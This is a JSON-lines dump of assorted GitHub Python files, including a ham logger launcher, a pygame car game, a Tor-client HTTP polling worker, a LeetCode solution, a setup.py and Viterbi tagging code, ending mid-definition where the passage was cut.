+{"seq_id":"10588703756","text":"#!/usr/bin/env python\n\nlicense = \"\"\"\nCopyright 2014-2021, Jakub Ondrusek, OM1WS (yak@gmx.co.uk)\n\nThis program is free software: you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\n(at your option) any later version.\n\nThis program is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with this program. If not, see .\n\"\"\"\n\n# global libs\nimport os\nimport sys\nimport signal\nimport pathlib\n\n# application libs\nfrom lib import config as cfg\nfrom lib import app\nfrom lib import commandline\n\n# init application\nabsolute_script_path = pathlib.Path(__file__).parent.resolve()\nconfig = cfg.PersistentConfig(source_path=absolute_script_path)\napplication = app.HamLogger(config)\n\n# process command line arguments (can perfectly end here)\ncommandline.process(application, license)\n\n# catch sigint, run GUI, exit cleanly\nsignal.signal(signal.SIGINT, signal.SIG_DFL)\nstatus = application.run(sys.argv)\nsys.exit(status)\n","repo_name":"yaksvk/hamlogger","sub_path":"hamlogger.py","file_name":"hamlogger.py","file_ext":"py","file_size_in_byte":1296,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"0"}
+{"seq_id":"30143284845","text":"#Kardo Tamm\r\nimport pygame\r\nimport sys\r\n\r\npygame.init()\r\n\r\n#Pygame aeg\r\nclock = pygame.time.Clock()\r\n\r\n#Määrab display suuruse\r\nscreen = pygame.display.set_mode([640, 480])\r\n\r\npunaneposx = 290\r\n#Laeb mängu sinise auto pildi ja siis muudab pildi suurust funktsiooniga\r\nsinine_auto = pygame.image.load(\"sinine_auto.png\")\r\nsinine_auto = pygame.transform.scale(sinine_auto, [60, 150])\r\nsinine_posx, sinine_posy = 170, -210\r\n\r\n#Laeb mängu sinise auto pildi ja siis muudab pildi suurust funktsiooniga\r\nsinine_auto2 = pygame.image.load(\"sinine_auto.png\")\r\nsinine_auto2 = pygame.transform.scale(sinine_auto2, [60, 150])\r\nsinine_posx2, sinine_posy2 = 420, -300\r\n\r\n#Määrab kiiruse\r\nkiirus = 3\r\n\r\n#Skoori font on times new roman\r\nscore_font = pygame.font.SysFont(\"times New Roman\", 30)\r\n\r\n#Antud koodirida defineerib funktsiooni nimega skoor\r\ndef skoor(score):\r\n value = score_font.render(\"Sinu skoor: \" + str(score), True, [0, 0, 0])\r\n screen.blit(value, [0, 0])\r\n\r\n#Need koodiread määravad mängu põhiloogika - mängu tsükli. See käivitab mängu ja hoiab seda töös, kuni mängija lõpetab või jõuab mängu lõppu.\r\nlopp_skoor = 0\r\nmang_labi = False\r\nwhile not mang_labi:\r\n clock.tick(60)\r\n\r\n # mängu sulgemine ristist\r\n events = pygame.event.get()\r\n for i in pygame.event.get():\r\n if i.type == pygame.QUIT:\r\n sys.exit()\r\n\r\n if sinine_posy >= 480:\r\n sinine_posy = -210\r\n lopp_skoor += 1\r\n\r\n if sinine_posy2 >= 480:\r\n sinine_posy2 = -300\r\n lopp_skoor += 1\r\n\r\n\r\n screen.blit(sinine_auto, (sinine_posx, sinine_posy))\r\n sinine_posy += kiirus\r\n pygame.display.flip()\r\n\r\n screen.blit(sinine_auto2, (sinine_posx2, sinine_posy2))\r\n sinine_posy2 += kiirus\r\n pygame.display.flip()\r\n\r\n #laeb mängu tausta pildi nimega \"taust.jpg\"\" ning seejärel muudab selle suurust\r\n background = pygame.image.load(\"taust.jpg\")\r\n background = pygame.transform.scale(background, [640, 480])\r\n screen.blit(background, [0, 0])\r\n\r\n #laeb mängu punase auto pildi nimega \"punane_auto.png\" ning seejärel muudab selle suurust\r\n punane_auto = pygame.image.load(\"punane_auto.png\")\r\n punane_auto = pygame.transform.scale(punane_auto, [60, 150])\r\n screen.blit(punane_auto, [punaneposx, 310])\r\n\r\n key = pygame.key.get_pressed() # saame vajutatud klahvi\r\n if key[pygame.K_LEFT]: # kui vasak klahv\r\n punaneposx -= 5 # liigutame autot vasakule\r\n if key[pygame.K_RIGHT]: # kui parem klahv\r\n punaneposx += 5 # liigutame autot paremale\r\n\r\n # Näitab sinu lõppskoori\r\n if (punaneposx >= sinine_posx and punaneposx <= sinine_posx + 60) or (\r\n punaneposx + 60 >= sinine_posx and punaneposx + 60 <= sinine_posx + 60):\r\n if sinine_posy >= 310 and sinine_posy <= 460:\r\n mang_labi = True\r\n print(\"Mäng läbi! Sinu skoor: \" + str(lopp_skoor))\r\n\r\n#Näitab sinu lõppskoori\r\n if (punaneposx >= sinine_posx2 and punaneposx <= sinine_posx2 + 60) or (\r\n punaneposx + 60 >= sinine_posx2 and punaneposx + 60 <= sinine_posx2 + 60):\r\n if sinine_posy2 >= 310 and sinine_posy2 <= 460:\r\n mang_labi = True\r\n print(\"Mäng läbi! Sinu skoor: \" + str(lopp_skoor))\r\n#Prindib lõppskoori\r\n skoor(lopp_skoor)\r\n\r\n\r\n#Lahkub pygamest\r\npygame.quit()","repo_name":"Kardoxx/Autom-ng","sub_path":"Automäng_Kardo_Tamm.py","file_name":"Automäng_Kardo_Tamm.py","file_ext":"py","file_size_in_byte":3314,"program_lang":"python","lang":"et","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"8056897103","text":"\"\"\"\nAs I was singing bedtime songs to my daughter tonight,\nI thought I could write a simple program to write out the lyrics\nto B-I-N-G-O and add it to my git profile.\n\"\"\"\n\nimport random\n\nanimal_noise_map = {\n 'cow': 'moo',\n 'duck': 'quack',\n 'frog': 'ribbit',\n 'cat': 'meow',\n 'horse': 'neigh',\n 'pig': 'oink',\n 'dinosaur': 'rooaarrr'\n}\n\n\ndef sing() -> None:\n \"\"\" Prints lyrics to song \"\"\"\n random_animal = random.choice(list(animal_noise_map.keys()))\n random_noise = animal_noise_map[random_animal]\n\n print(\"~ Lyrics to BINGO with a\", random_animal, \"~\\n\")\n\n for verse in range(6):\n chorus = ', '.join([random_noise]*verse + bingo[verse:])\n\n song = [line_1 + random_animal] + [line_2_6] + [chorus]*3 + [line_2_6]\n print('\\n'.join(song), end='\\n\\n')\n\n\nif __name__ == '__main__':\n bingo = ['B', 'I', 'N', 'G', 'O']\n\n line_1 = \"There was a farmer who had a \"\n line_2_6 = \"and bingo was his name-o\"\n\n sing()\n\n","repo_name":"doug-cady/gmu_daen","sub_path":"Misc/python/bingo_song/bingo.py","file_name":"bingo.py","file_ext":"py","file_size_in_byte":983,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"12563798597","text":"import threading\nimport requests\nimport base64\nimport queue\nimport json\nimport time\n\nfrom .. import http\nfrom .. import proxy\n\nclass worker(threading.Thread):\n def __init__(self, endpoint, period, max_queue=2048):\n super().__init__()\n self.endpoint = endpoint\n self.period = period\n\n self.send_queue = queue.Queue(max_queue)\n self.recv_queue = queue.Queue(max_queue)\n\n self.dead = False\n\n def close(self):\n requests.delete(self.endpoint)\n self.dead = True\n\n def die(self, e):\n if self.dead:\n return\n\n self.close()\n raise e\n\n def send(self, cell, block=True):\n try:\n cell = cell.raw\n except AttributeError:\n pass\n\n cell = base64.b64encode(cell)\n self.send_queue.put(cell, block)\n\n def recv(self, block=True):\n payload = self.recv_queue.get(block=block)\n payload = base64.b64decode(payload)\n return payload\n\n def main(self):\n try:\n cells = []\n for _ in range(proxy.jobs.request_max_cells):\n try:\n cells.append(self.send_queue.get(block=False))\n except queue.Empty as e:\n if len(cells) == 0:\n raise e\n\n data = json.dumps(\n dict(cells=[str(cell, 'utf8') for cell in cells]))\n\n rq = requests.post(self.endpoint, data=data, headers=http.headers)\n if not rq.status_code == 201:\n raise RuntimeError(\n 'Got {} status (send)!'.format(rq.status_code))\n\n answer = json.loads(rq.text)\n for cell in answer['cells']:\n self.recv_queue.put(cell)\n\n return\n except queue.Empty:\n pass\n\n data = json.dumps(dict(cells=[]))\n rq = requests.post(self.endpoint, data=data, headers=http.headers)\n if not rq.status_code == 201:\n raise RuntimeError('Got {} status! (recv)'.format(rq.status_code))\n\n answer = json.loads(rq.text)\n for cell in answer['cells']:\n self.recv_queue.put(cell)\n\n time.sleep(self.period)\n\n def run(self):\n try:\n while not self.dead:\n self.main()\n self.dead = True\n except BaseException as e:\n self.die(e)\n\nclass io:\n _join_timeout = 3\n\n def __init__(self, endpoint, period=0.1, daemon=True, max_queue=2048):\n self.worker = worker(endpoint, period, max_queue)\n if daemon:\n self.worker.daemon = True\n\n self.worker.start()\n\n @property\n def dead(self):\n return self.worker.dead\n\n def recv(self, block=True):\n return self.worker.recv(block)\n\n def send(self, payload, block=True):\n self.worker.send(payload, block=block)\n\n def close(self):\n self.worker.close()\n self.worker.join(self._join_timeout)\n","repo_name":"spring-epfl/lightnion","sub_path":"lightnion/http/polling.py","file_name":"polling.py","file_ext":"py","file_size_in_byte":2949,"program_lang":"python","lang":"en","doc_type":"code","stars":118,"dataset":"github-code","pt":"0"}
+{"seq_id":"41880150197","text":"import os\n\n\ndef search_by_content(target, to_search):\n target_path = os.path.abspath(target)\n if os.path.exists(target_path) is False:\n return []\n\n files = []\n search_recursively(files, target_path, to_search)\n return files\n\n\ndef search_recursively(files, path, to_search):\n for _, d, f in os.walk(path):\n for file in f:\n if file.startswith('.'):\n continue\n if file_contains_to_search(os.path.join(path, file), to_search):\n files.append(os.path.join(path, file))\n\n for directory in d:\n search_recursively(files, os.path.join(path, directory), to_search)\n\n\ndef file_contains_to_search(file, to_search):\n try:\n content =open(file, 'r').read()\n except:\n print (f'Could not read {file}')\n return False\n return (to_search in content)\n\nif __name__ == '__main__':\n print(search_by_content('/Users/sergiuiacob/work/FII/an3/python', 'prime'))","repo_name":"sergiuiacob1/FII","sub_path":"an3/python/lab9/ex1.py","file_name":"ex1.py","file_ext":"py","file_size_in_byte":968,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"16974295612","text":"#!/usr/bin/env python\nfrom __future__ import print_function\nimport os\nimport resource_handler\n\n\nclass PawnModule(object):\n FILE_TEMPLATE_PNG = '%03d.png'\n FILE_TEMPLATE_WEBP = '%03d.webp'\n\n PAWN_INTERPRETER_ID = 0\n WASM_INTERPRETER_ID = 1\n\n CODE_C_FORMAT = 0\n CODE_BINARY_FORMAT = 1\n\n def __init__(self):\n self.name = ''\n self.ScriptResourceList = []\n self.ScriptResourceCodeList = []\n self.ScriptResourcePath = ''\n self.resourceCString = ''\n self.InternalFlashStartAddr = 0x0\n self.scriptId = None\n self.ScriptPath = os.path.join('..', 'pawn')\n self.ScriptFileName = None\n self.ScriptCode = None\n self.ScriptCString = ''\n self.MenuIcon = ''\n self.MenuIconCode = ''\n self.MenuSubscriptionIcon = ''\n self.MenuSubscriptionIconCode = ''\n self.version = '0.0.1'\n self.SoundList = []\n self.SoundCodeList = []\n self.SoundPath = ''\n self.InterpreterId = self.PAWN_INTERPRETER_ID\n self.scriptFormat = self.CODE_BINARY_FORMAT\n\n def c_name(self):\n return self.name.replace(' ', '_')\n\n def script_c_name(self):\n return '%s_%s' % (self.name.replace(' ', '_'), 'SCR')\n\n def get_int_version(self):\n version_arr = self.version.split('.')\n if len(version_arr) != 3:\n raise Exception(\"Invalid version format\")\n\n version_arr = [int(version_item) for version_item in version_arr]\n if version_arr[0] > 0xF or version_arr[1] > 0xF or version_arr[2] > 0xFFFF:\n raise Exception(\"Invalid version\")\n print(\"Version: %s\" % self.version)\n return version_arr[0] << 20 | version_arr[1] << 16 | version_arr[2]\n\n def size(self):\n c_res_size = 0\n for c_res in self.ScriptResourceCodeList:\n c_res_size += c_res.size()\n return c_res_size\n\n def select_code_handler(self):\n if self.scriptFormat == self.CODE_C_FORMAT:\n return resource_handler.CResource\n elif self.scriptFormat == self.CODE_BINARY_FORMAT:\n return resource_handler.BinResource\n else:\n raise Exception(\"Invalid code format: %d\" % self.scriptFormat)\n\n def convert_sound_to_code(self, sound_path, sound_res):\n sound_file_ext = os.path.splitext(sound_res)[1][1:].lower()\n\n if sound_file_ext == 'c':\n sound_handler = resource_handler.CResource\n encoding = resource_handler.SoundEncoding.ENCODING_WAVE\n elif sound_file_ext == 'wav':\n sound_handler = resource_handler.BinResource\n encoding = resource_handler.SoundEncoding.ENCODING_WAVE\n elif sound_file_ext == 'mid':\n sound_handler = resource_handler.BinResource\n encoding = resource_handler.SoundEncoding.ENCODING_MIDI\n elif sound_file_ext == 'mp3':\n sound_handler = resource_handler.BinResource\n encoding = resource_handler.SoundEncoding.ENCODING_MP3\n else:\n raise Exception(\"Invalid sound file\")\n\n sound_code = sound_handler(sound_path, sound_res)\n sound_code.encoding = encoding\n return sound_code\n\n def create_bin_resource(self, res_path, sound_path=None):\n if self.ScriptResourcePath is not None: \n res_path += '/' + self.ScriptResourcePath\n if self.SoundPath is not None: \n sound_path += '/' + self.SoundPath\n\n print(\"Creating binary PAWN for %s\" % self.name)\n if self.ScriptFileName and self.ScriptFileName.lower().endswith(\".pwn\"):\n print('Error: Pawn sources is not supported (expected .amx file extension in self.ScriptFileName = \"%s\")' % self.ScriptFileName)\n os.exit(1)\n code_handler = self.select_code_handler()\n self.ScriptCode = code_handler(self.ScriptPath, self.ScriptFileName)\n print(\"Creating menu icon for %s\" % self.name)\n self.MenuIconCode = resource_handler.PngResoure(res_path, self.MenuIcon)\n print(\"Creating menu subscription icon for %s\" % self.name)\n self.MenuSubscriptionIconCode = resource_handler.PngResoure(res_path, self.MenuSubscriptionIcon)\n\n print(\"Creating binary RGB for %s\" % self.name)\n for res in self.ScriptResourceList:\n if str(res).lower().endswith(\".webp\"):\n tmp = resource_handler.WebpResource(res_path, res)\n self.ScriptResourceCodeList.append(tmp)\n print(\" Processing WebP sprite: %s/%s size: %d B\" % (res_path, res, tmp.size()))\n continue\n tmp = resource_handler.PngResoure(res_path, res)\n self.ScriptResourceCodeList.append(tmp)\n print(\" Processing RGB-565 RLE-encoded sprite: %s/%s size: %d B\" % (res_path, res, tmp.size()))\n\n print(\"Creating binary sound list for %s\" % self.name)\n if sound_path is not None:\n for sound_res in self.SoundList:\n tmp = self.convert_sound_to_code(sound_path, sound_res)\n self.SoundCodeList.append(tmp)\n print(\" Processing sound: %s/%s size: %d B\" % (sound_path, sound_res, tmp.size()))\n print('')\n\n\nclass WasmModule(PawnModule):\n def __init__(self):\n super(WasmModule, self).__init__()\n self.InterpreterId = self.WASM_INTERPRETER_ID\n self.scriptFormat = self.CODE_BINARY_FORMAT\n","repo_name":"christofkaelin/WOWCube_apps_examples","sub_path":"Resources_prj/pawn_base.py","file_name":"pawn_base.py","file_ext":"py","file_size_in_byte":5391,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"0"}
+{"seq_id":"21868021707","text":"from unittest import result\n\n\nclass Solution:\n def minWindow(self, s: str, t: str) -> str:\n if len(t) > len(s): \n return ''\n left = 0\n right = len(t)-1\n if left == right:\n return s\n condition = set(t)\n result = ''\n while True:\n if right == len(s) - 1 and left == len(s) - len(t):\n break\n selected = s[left:right+1]\n if condition <= set(selected):\n if not result or len(result) > len(selected):\n result = selected\n if left < len(s) - len(t):\n left += 1\n elif right < len(s) - 1:\n right += 1 \n else:\n break\n else:\n if right < len(s) - 1:\n right += 1\n elif left < len(s) - len(t):\n left += 1\n else:\n break\n return result\n \n def min_window(s: str, t: str):\n from collections import Counter\n \"\"\"\n :type s: str\n :type t: str\n :rtype: str\n \"\"\"\n\n if not t or not s:\n return \"\"\n\n # Dictionary which keeps a count of all the unique characters in t.\n dict_t = Counter(t)\n\n # Number of unique characters in t, which need to be present in the desired window.\n required = len(dict_t)\n\n # left and right pointer\n l, r = 0, 0\n\n # formed is used to keep track of how many unique characters in t are present in the current window in its desired frequency.\n # e.g. if t is \"AABC\" then the window must have two A's, one B and one C. Thus formed would be = 3 when all these conditions are met.\n formed = 0\n\n # Dictionary which keeps a count of all the unique characters in the current window.\n window_counts = {}\n\n # ans tuple of the form (window length, left, right)\n ans = float(\"inf\"), None, None\n\n while r < len(s):\n\n # Add one character from the right to the window\n character = s[r]\n window_counts[character] = window_counts.get(character, 0) + 1\n\n # If the frequency of the current character added equals to the desired count in t then increment the formed count by 1.\n if character in dict_t and window_counts[character] == dict_t[character]:\n formed += 1\n\n # Try and contract the window till the point where it ceases to be 'desirable'.\n while l <= r and formed == required:\n character = s[l]\n\n # Save the smallest window until now.\n if r - l + 1 < ans[0]:\n ans = (r - l + 1, l, r)\n\n # The character at the position pointed by the `left` pointer is no longer a part of the window.\n window_counts[character] -= 1\n if character in dict_t and window_counts[character] < dict_t[character]:\n formed -= 1\n\n # Move the left pointer ahead, this would help to look for a new window.\n l += 1 \n\n # Keep expanding the window once we are done contracting.\n r += 1 \n return \"\" if ans[0] == float(\"inf\") else s[ans[1] : ans[2] + 1]\n\nresult = Solution().minWindow(s = \"ADOBECODEBANC\", t = \"ABC\")\nprint(result)\n\nresult = Solution().minWindow(s = \"a\", t = \"a\")\nprint(result)\n\nresult = Solution().minWindow(s = \"a\", t = \"aa\")\nprint(result)","repo_name":"SasanAhmadi/scratchpad","sub_path":"leetcode/MinimumWindowSubstring.py","file_name":"MinimumWindowSubstring.py","file_ext":"py","file_size_in_byte":3535,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"36324404424","text":"import glob \nimport numpy as np \nimport pandas as pd \n\n\ndef findFiles(path): return glob.glob(path)\n\ndef train_test_split(data): \n \"\"\" Split into training and test dataset \"\"\"\n split_ratio = 0.1 \n random_seed = 10 \n \n indices = list(range(len(data)))\n split = int(np.floor(split_ratio * len(data)))\n\n np.random.seed(random_seed)\n np.random.shuffle(indices)\n train_idx, test_idx = indices[split:], indices[:split]\n\n train_data = data.iloc[train_idx]\n test_data = data.iloc[test_idx]\n \n return train_data, test_data\n\n\ndef GenerateProof(data): \n \"\"\" Return a list of proofs where proof is defined as a sequence of two entities and their relationship \"\"\" \n proof_list = [] \n\n for row in range(data[\"genders\"].size):\n names = list(map(lambda x: x.split(\":\")[0], data[\"genders\"][row].split(\",\"))) \n\n proof = [] \n\n for idx in range(len(eval(data[\"story_edges\"][row]))):\n edges = eval(data[\"story_edges\"][row])[idx]\n proof.append([names[edges[0]], eval(data[\"edge_types\"][row])[idx], names[edges[1]]])\n\n proof_list.append(proof)\n \n return proof_list\n\n\ndef GeneratePairs(data): \n \"\"\" Return a list of pairs where a pair consists of a story and it's following proofs \"\"\"\n pairs = []\n proof = GenerateProof(data)\n \n for row in range(data[\"story\"].size):\n # add \"SEP\" token at the end of each proof sequence \n n = len(proof[row])\n proof_eos = ''\n for i in range(n):\n proof_eos += ' '+' '.join(proof[row][i])+' SEP'\n pairs.append([data[\"story\"][row], proof_eos[1:]])\n \n return pairs \n\n\ndef NumofEntities(data): \n \"\"\" Return two lists \n @return name_list (list): List of all possible entity names \n @return num_list (list): List of first N positive integers, where N is the number of all possible entities \n \"\"\" \n name_list = []\n for row in range(data[\"query\"].size): \n name_list.append(eval(data[\"query\"][row])[0])\n name_list.append(eval(data[\"query\"][row])[1])\n\n name_list = list(set(name_list))\n\n for filename in findFiles('./datasets/1.*_test.csv'):\n test = pd.read_csv(filename)\n\n for row in range(test[\"query\"].size): \n name_list.append(eval(test[\"query\"][row])[0])\n name_list.append(eval(test[\"query\"][row])[1])\n\n name_list = list(set(name_list))\n\n num_list = [i for i in range(len(name_list))]\n \n return name_list, num_list \n\n\ndef NumofRelationships(data):\n \"\"\" Return a list of all possible relationships \"\"\"\n rel_list = []\n\n for row in range(data[\"edge_types\"].size): \n rel_list.append(eval(data[\"edge_types\"][row])[0])\n rel_list.append(eval(data[\"edge_types\"][row])[1])\n\n rel_list = list(set(rel_list))\n\n for filename in findFiles('./datasets/1.*_test.csv'):\n test = pd.read_csv(filename)\n\n for row in range(test[\"query\"].size): \n rel_list.append(eval(test[\"edge_types\"][row])[0])\n rel_list.append(eval(test[\"edge_types\"][row])[1])\n\n rel_list = list(set(rel_list))\n \n return rel_list ","repo_name":"jasonjo97/Question-Answering-with-Transformers","sub_path":"utils/data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":3134,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"24868732846","text":"import sys\n\nimport os\nimport os.path as op\nfrom setuptools import setup\nfrom setuptools.command.test import test as BaseTestCommand\n\ntry:\n readme_content = open(os.path.join(os.path.abspath(\n os.path.dirname(__file__)), \"README.rst\")).read()\nexcept Exception as e:\n print(e)\n readme_content = __doc__\n\nVERSION = \"0.0.1\"\n\n\ndef run_tests():\n from tests import suite\n return suite()\n\npy_ver = sys.version_info\n\n#: Python 2.x?\nis_py2 = (py_ver[0] == 2)\n\n#: Python 3.x?\nis_py3 = (py_ver[0] == 3)\n\n\ntry:\n dev_require = open(op.join(op.abspath(\n op.dirname(__file__)), \"dev_req.txt\")).readlines()\nexcept Exception as e:\n print(e)\n dev_require = []\n\ntests_require = [\n 'nose',\n 'unittest2',\n 'redis==2.9.0',\n 'tornado-redis==2.4.15',\n 'mock>=0.8.0']\n\n\ninstall_requires = [\n \"redis==2.9.0\",\n \"tornado-redis==2.4.15\",\n \"gottwall==0.5.0\"]\n\n\nclass TestCommand(BaseTestCommand):\n def finalize_options(self):\n BaseTestCommand.finalize_options(self)\n self.test_args = ['__main__.run_tests']\n self.test_suite = True\n\n def run_tests(self):\n #import here, cause outside the eggs aren't loaded\n import pytest\n errno = pytest.main(self.test_args)\n sys.exit(errno)\n\nsetup(\n name=\"gottwall-storage-redis\",\n version=VERSION,\n description=\"Redis storage for GottWall statistics aggregator\",\n long_description=readme_content,\n author=\"Alex Lispython\",\n author_email=\"alex@obout.ru\",\n maintainer=\"Alexandr Lispython\",\n maintainer_email=\"alex@obout.ru\",\n url=\"https://github.com/GottWall/gottwall-storage-redis\",\n packages=[\"gw_storage_redis\"],\n install_requires=install_requires,\n tests_require=tests_require,\n extras_require={\n 'tests': tests_require,\n 'dev': dev_require\n },\n license=\"BSD\",\n platforms = ['Linux', 'Mac'],\n classifiers=[\n \"Environment :: Web Environment\",\n \"License :: OSI Approved :: BSD License\",\n \"Programming Language :: Python\",\n \"Operating System :: MacOS :: MacOS X\",\n \"Operating System :: POSIX\",\n \"Topic :: Internet\",\n \"Topic :: Software Development :: Libraries\"\n ],\n test_suite = '__main__.run_tests',\n #cmdclass={'test': TestCommand}\n )\n","repo_name":"GottWall/gottwall-storage-redis","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":2288,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"0"}
+{"seq_id":"26217283642","text":"import time\n\nimport torch\nfrom torch import nn\nfrom tqdm import tqdm\n\nfrom c5_trainer import C5Trainer\nfrom common import LayerConnector, ConnectNode, DecoderLayer, C5Module, C5Quantization, C5Classification\nfrom printer import printer, Color\n\n\nclass C5Booster(C5Module):\n def __init__(self, trainer: C5Trainer, item_embeddings, broaden_ratio=0.2):\n super().__init__()\n\n self.initializing = True\n self.num_layers = trainer.num_layers\n self.vocab_size = trainer.vocab_size\n self.embed_dim = trainer.embed_dim\n self.transform_layer = trainer.transform_layer\n\n self.embedding_tables = [item_embeddings, *trainer.codebooks]\n self.decoders = [trainer.decoder_layer, *trainer.codebook_decoders]\n\n self.print = printer[(self.__class__.__name__, '-', Color.MAGENTA)]\n self.print(f'c5 connector constructing with broaden ratio {broaden_ratio} ...')\n self.connector = LayerConnector(\n embedding_tables=self.embedding_tables,\n broaden_ratio=broaden_ratio,\n )\n self.connector.visualize()\n\n self.print('c5 tree constructing ...')\n self.nodes = self.connector.nodes # type: list[list[ConnectNode]]\n self.root = self.construct_tree()\n\n self.print('c5 item pre quantization ...')\n self.quantized_embeddings = self.prepare_quantization()\n\n self.initializing = False\n\n def construct_tree(self):\n root = ConnectNode(device=self.embedding_tables[0].weight.device)\n\n for i in range(len(self.embedding_tables) - 1):\n embeddings = self.embedding_tables[i].weight # [8, d]\n self.print(f'Constructing layer {i+1} with {len(embeddings)} available leaves '\n f'and {len(self.nodes[i])} nodes ...')\n\n decoder = self.decoders[i] # type: DecoderLayer\n\n for node in self.nodes[i]:\n for j in node.leaves:\n leaf = j if i == 0 else self.nodes[i - 1][j]\n node.add_leaf_node(\n leaf_node=leaf,\n leaf_embedding=embeddings[j], # [d]\n leaf_decoder_linear=decoder.decoder.weight[j],\n leaf_decoder_bias=decoder.bias[j],\n )\n\n # self.print(f'Constructing root layer with {len(self.nodes[-1])} available leaves ...')\n for i, leaf in enumerate(self.nodes[-1]):\n if not leaf.leaves:\n continue\n root.add_leaf(i, None)\n root.add_leaf_node(\n leaf_node=leaf,\n leaf_embedding=leaf.center,\n leaf_decoder_linear=self.decoders[-1].decoder.weight[i],\n leaf_decoder_bias=self.decoders[-1].bias[i],\n )\n\n root.finish_adding_leaves(layer=0)\n return root\n\n def quantize(\n self,\n embeds, # [D]\n with_loss=False,\n ) -> C5Quantization:\n start_ = time.time()\n\n qindices, qembeds = self.root.quantize(embeds)\n qindices = qindices[1:] # [L]\n qembeds = qembeds[1:] # [L, D]\n\n end_ = time.time()\n if not self.initializing:\n self.timer.append('quantize', end_ - start_)\n\n # return C5Quantization(qembeds, indices=qindices)\n return C5Quantization(qembeds, indices=qindices)\n\n def batch_quantize(\n self,\n embeds, # [B, S, D]\n ):\n shape = embeds.shape\n embeds = embeds.view(-1, shape[-1]) # [B * S, D]\n\n qindices, qembeds = self.root.batch_quantize(embeds)\n qindices = torch.tensor(qindices, dtype=torch.long, device=embeds.device)[:, 1:]\n qembeds = torch.stack([torch.stack(row) for row in qembeds], dim=0)[:, 1:]\n\n qindices = qindices.view(shape[:-1] + (-1,)) # [B, S, L]\n qembeds = qembeds.view(shape[:-1] + (-1, shape[-1])) # [B, S, L, D]\n\n return C5Quantization(qembeds, indices=qindices)\n\n def track_quantize(self, embeds):\n shape = embeds.shape # [B, ..., D]\n embeds = embeds.view(-1, self.embed_dim) # [B * ..., D]\n paths = []\n for embed in embeds: # [D]\n path = torch.stack(self.root.track_quantize(embed), dim=0)\n paths.append(path)\n paths = torch.stack(paths, dim=0).view(shape[:-1] + (-1,)) # [B, ..., L]\n return paths\n\n def classify(\n self,\n embeds,\n indices=False,\n ) -> C5Classification:\n start_ = time.time()\n embeds = self.transform_layer(embeds) # [D]\n\n indices = self.root.classify(embeds)\n\n end_ = time.time()\n self.timer.append('classify', end_ - start_)\n return C5Classification(\n scores=None,\n indices=indices,\n )\n\n def batch_classify(\n self,\n embeds, # [B, D]\n ):\n embeds = self.transform_layer(embeds) # [B, D]\n indices = self.root.batch_classify(embeds) # [B, Vx], [B, Vx]\n\n return C5Classification(\n scores=None,\n indices=indices,\n )\n\n def track_classify(self, embed):\n embed = self.transform_layer(embed) # [D]\n return self.root.track_classify(embed)\n\n def visualize(self):\n last_level_nodes = [self.root]\n next_level_nodes = []\n level = 0\n\n while True:\n last_level_nodes = list(set(last_level_nodes))\n self.print(f'level {level}: {len(last_level_nodes)} nodes')\n if not isinstance(last_level_nodes[0], ConnectNode):\n break\n for node in last_level_nodes: # type: ConnectNode\n next_level_nodes.extend(node.leaf_nodes)\n last_level_nodes = next_level_nodes\n next_level_nodes = []\n level += 1\n\n def track(self, item_id):\n print(f'tracking item {item_id} ...')\n\n last_track_ids = {item_id}\n next_track_ids = set()\n level = self.num_layers\n\n nodes_list = [*self.nodes]\n\n while level:\n nodes = nodes_list[level - 1]\n for i, node in enumerate(nodes):\n for track_id in last_track_ids:\n if track_id in node.leaves:\n print(f'level {level}: {track_id} -> {i}')\n next_track_ids.add(i)\n\n last_track_ids = next_track_ids\n next_track_ids = set()\n level -= 1\n\n def prepare_quantization(self):\n quantization = []\n item_embeddings = self.embedding_tables[0]\n item_embeddings = item_embeddings.weight.detach()\n for embed in tqdm(item_embeddings):\n quantization.append(self.quantize(embed).mean)\n\n quantization = torch.stack(quantization, dim=0)\n return nn.Embedding.from_pretrained(quantization, freeze=True)\n","repo_name":"floatSDSDS/GNNO","sub_path":"src/utils/c5_booster.py","file_name":"c5_booster.py","file_ext":"py","file_size_in_byte":6852,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"0"}
+{"seq_id":"4909309440","text":"import sys\nimport math\nimport numpy as np\n\ndef viterbi_initialize(states, tag_counts, A, B, corpus, vocabs_dict):\n num_tags = len(tag_counts)\n print(states)\n s_idx = states.index('--s--')\n \n best_probs = np.zeros((num_tags, len(corpus)))\n best_paths = np.zeros((num_tags, len(corpus)), dtype=int)\n \n for i in range(num_tags):\n if A[s_idx, i - 1] == 0: best_probs[i, 0] = float('-inf')\n else: \n index = vocabs_dict[corpus[0]]\n # best_probs[i, 0] = math.log(A[s_idx, i]) + math.log(B[i, index])\n best_probs[i, 0] = math.log(A[s_idx, i - 1]) + math.log(B[i - 1, index])\n return best_probs, best_paths\n\ndef viterbi_forward(A, B, corpus, best_probs, best_paths, vocabs_dict):\n num_tags = best_probs.shape[0]\n \n for i in range(1, len(corpus)): \n if i % 5000 == 0: print(f'Processed {i} words...')\n \n for j in range(num_tags):\n best_prob_i = float('-inf')\n best_path_i = None\n \n for k in range(num_tags):\n index = vocabs_dict[corpus[i]]\n # prob = best_probs[k, i - 1] + math.log(A[k, j]) + math.log(B[j, index])\n prob = best_probs[k, i - 1] + math.log(A[k, j - 1]) + math.log(B[j - 1, index])\n\n if prob > best_prob_i:\n best_prob_i = prob\n best_path_i = k\n \n best_probs[j, i] = best_prob_i\n best_paths[j, i] = best_path_i\n \n return best_probs, best_paths\n\ndef 